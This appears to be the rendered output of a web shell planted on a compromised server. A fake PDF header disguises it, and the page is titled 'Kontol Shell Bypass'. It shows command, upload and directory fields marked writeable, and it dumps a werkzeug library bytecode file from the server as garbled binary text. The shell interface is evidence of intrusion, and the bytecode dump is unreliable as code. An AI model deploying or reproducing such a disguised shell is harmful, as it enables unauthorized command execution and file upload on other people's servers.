%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/werkzeug/datastructures/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/werkzeug/datastructures/__pycache__/auth.cpython-39.pyc
a

�_g%'�@s�ddlmZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZejrbddl
ZGd	d
�d
�ZGdd�d�ZdS)
�)�annotationsN�)�dump_header)�parse_dict_header)�quote_header_value�)�CallbackDictc@s�eZdZdZd%ddddd�dd	�Zddd
�dd�Zddd
�d
d�Zd&dddd�dd�Zddd�dd�Zddd�dd�Z	e
ddd�dd��Zdd�dd �Zdd�d!d"�Z
dd�d#d$�ZdS)'�
Authorizationa�Represents the parts of an ``Authorization`` request header.

    :attr:`.Request.authorization` returns an instance if the header is set.

    An instance can be used with the test :class:`.Client` request methods' ``auth``
    parameter to send the header in test requests.

    Depending on the auth scheme, either :attr:`parameters` or :attr:`token` will be
    set. The ``Basic`` scheme's token is decoded into the ``username`` and ``password``
    parameters.

    For convenience, ``auth["key"]`` and ``auth.key`` both access the key in the
    :attr:`parameters` dict, along with ``auth.get("key")`` and ``"key" in auth``.

    .. versionchanged:: 2.3
        The ``token`` parameter and attribute was added to support auth schemes that use
        a token instead of parameters, such as ``Bearer``.

    .. versionchanged:: 2.3
        The object is no longer a ``dict``.

    .. versionchanged:: 0.5
        The object is an immutable dict.
    N�str�dict[str, str | None] | None�
str | None�None)�	auth_type�data�token�returncCs"||_|duri}||_||_dS�N)�type�
parametersr)�selfrrr�r�I/vddos/python/lib/python3.9/site-packages/werkzeug/datastructures/auth.py�__init__*szAuthorization.__init__��namercCs|j�|�Sr�r�get�rrrrr�__getattr__BszAuthorization.__getattr__cCs|j�|�Srrrrrr�__getitem__EszAuthorization.__getitem__��key�defaultrcCs|j�||�Srr�rr!r"rrrrHszAuthorization.get�bool�r!rcCs
||jvSr�r�rr!rrr�__contains__KszAuthorization.__contains__�object��otherrcCs2t|t�stS|j|jko0|j|jko0|j|jkSr)�
isinstancer	�NotImplementedrrr�rr+rrr�__eq__Ns

�
�zAuthorization.__eq__�te.Self | None��valuerc	Cs�|sdS|�d�\}}}|��}|��}|dkrzzt�|����d�\}}}WntjtfyhYdS0||||d��Sd|�	d�vr�||t
|�d�S||d|�S)z�Parse an ``Authorization`` header value and return an instance, or ``None``
        if the value is empty.

        :param value: The header value to parse.

        .. versionadded:: 2.3
        N� �basic�:)�username�password�=)�	partition�lower�strip�base64�	b64decode�decode�binascii�Error�UnicodeError�rstripr)�clsr2�scheme�_�restr6r7rrr�from_headerXs	zAuthorization.from_header�rcCsp|jdkr6t�|j�d|j������d�}d|��S|jdurV|j���d|j��S|j���dt	|j
���S)ziProduce an ``Authorization`` header value representing this data.

        .. versionadded:: 2.0
        r4r5�asciizBasic Nr3)rr<�	b64encoder6r7�encoder>r�titlerr�rr2rrr�	to_headerws
��

zAuthorization.to_headercCs|��Sr�rN�rrrr�__str__�szAuthorization.__str__cCsdt|�j�d|���d�S�N�<r3�>�r�__name__rNrPrrr�__repr__�szAuthorization.__repr__)NN)N)rV�
__module__�__qualname__�__doc__rrrrr(r/�classmethodrGrNrQrWrrrrr	s�
r	cs�eZdZdZd<dddd�dd�Zd	d
�dd�Zedd
�d
d��Zejdd	d�dd��Zedd
�dd��Z	e	jdd	d�dd��Z	edd
�dd��Z
e
jdd	d�dd��Z
ddd�dd�Zddd	d�dd�Zdd	d�dd �Z
ddd!�d"d#�Zddd	d$��fd%d&�Zdd	d!�d'd(�Zdd)d�d*d+�Zd,d)d-�d.d/�Zd=dddd0�d1d2�Zedd3d�d4d5��Zdd
�d6d7�Zdd
�d8d9�Zdd
�d:d;�Z�ZS)>�WWWAuthenticatea�Represents the parts of a ``WWW-Authenticate`` response header.

    Set :attr:`.Response.www_authenticate` to an instance of list of instances to set
    values for this header in the response. Modifying this instance will modify the
    header value.

    Depending on the auth scheme, either :attr:`parameters` or :attr:`token` should be
    set. The ``Basic`` scheme will encode ``username`` and ``password`` parameters to a
    token.

    For convenience, ``auth["key"]`` and ``auth.key`` both act on the :attr:`parameters`
    dict, and can be used to get, set, or delete parameters. ``auth.get("key")`` and
    ``"key" in auth`` are also provided.

    .. versionchanged:: 2.3
        The ``token`` parameter and attribute was added to support auth schemes that use
        a token instead of parameters, such as ``Bearer``.

    .. versionchanged:: 2.3
        The object is no longer a ``dict``.

    .. versionchanged:: 2.3
        The ``on_update`` parameter was removed.
    Nr
rr)r�valuesrcs.|���_t|�fdd���_|�_d�_dS)Ncs���Sr��_trigger_on_update�rErPrr�<lambda>��z*WWWAuthenticate.__init__.<locals>.<lambda>)r:�_typer�_parameters�_token�
_on_update)rrr]rrrPrr�s
�zWWWAuthenticate.__init__r
rHcCs|jdur|�|�dSr)rfrPrrrr_�s
z"WWWAuthenticate._trigger_on_updatecCs|jS)zDThe authorization scheme, like ``basic``, ``digest``, or ``bearer``.)rcrPrrrr�szWWWAuthenticate.typer1cCs||_|��dSr)rcr_rMrrrr�szdict[str, str | None]cCs|jS�zA dict of parameters for the header. Only one of this or :attr:`token` should
        have a value for a given scheme.
        )rdrPrrrr�szWWWAuthenticate.parameterszdict[str, str]cs t|�fdd���_���dS)Ncs���Srr^r`rPrrra�rbz,WWWAuthenticate.parameters.<locals>.<lambda>)rrdr_rMrrPrr�scCs|jSrg)rerPrrrr�szWWWAuthenticate.tokencCs||_|��dS)z�A token for the header. Only one of this or :attr:`parameters` should have a
        value for a given scheme.

        .. versionadded:: 2.3
        N)rer_rMrrrr�sr%cCs|j�|�Srrr'rrrr�szWWWAuthenticate.__getitem__)r!r2rcCs2|dur||jvr&|j|=n
||j|<|��dSr�rr_)rr!r2rrr�__setitem__�s



zWWWAuthenticate.__setitem__cCs||jvr|j|=|��dSrrhr'rrr�__delitem__�s
zWWWAuthenticate.__delitem__rcCs||Srrrrrrr�szWWWAuthenticate.__getattr__)rr2rcs$|dvrt��||�n|||<dS)N>rercrfrd)�super�__setattr__)rrr2��	__class__rrrl�szWWWAuthenticate.__setattr__cCs
||=dSrrrrrr�__delattr__�szWWWAuthenticate.__delattr__r$cCs
||jvSrr&r'rrrr(�szWWWAuthenticate.__contains__r)r*cCs2t|t�stS|j|jko0|j|jko0|j|jkSr)r,r\r-rrrr.rrrr/s

�
�zWWWAuthenticate.__eq__r cCs|j�||�Srrr#rrrr
szWWWAuthenticate.getr0cCsR|sdS|�d�\}}}|��}|��}d|�d�vrF||t|�d�S||d|�S)z�Parse a ``WWW-Authenticate`` header value and return an instance, or ``None``
        if the value is empty.

        :param value: The header value to parse.

        .. versionadded:: 2.3
        Nr3r8)r9r:r;rBr)rCr2rDrErFrrrrG
s	zWWWAuthenticate.from_headercCs�|jdur |j���d|j��S|jdkr�g}|j��D]:\}}|dvrVt|dd�}nt|�}|�|�d|���q8dd	�|���S|j���dt|j���S)
zCProduce a ``WWW-Authenticate`` header value representing this data.Nr3�digest>�realm�nonce�domain�qop�opaqueF)Zallow_tokenr8zDigest z, )	rrrLr�itemsr�append�joinr)rrvr!r2rrrrN$s

zWWWAuthenticate.to_headercCs|��SrrOrPrrrrQ8szWWWAuthenticate.__str__cCsdt|�j�d|���d�SrRrUrPrrrrW;szWWWAuthenticate.__repr__)NN)N)rVrXrYrZrr_�propertyr�setterrrrrirjrrlror(r/rr[rGrNrQrW�
__classcell__rrrmrr\�s>�
		
r\)�
__future__rr<r?�typing�t�httprrr�
structuresr�
TYPE_CHECKING�typing_extensions�ter	r\rrrr�<module>s~

Kontol Shell Bypass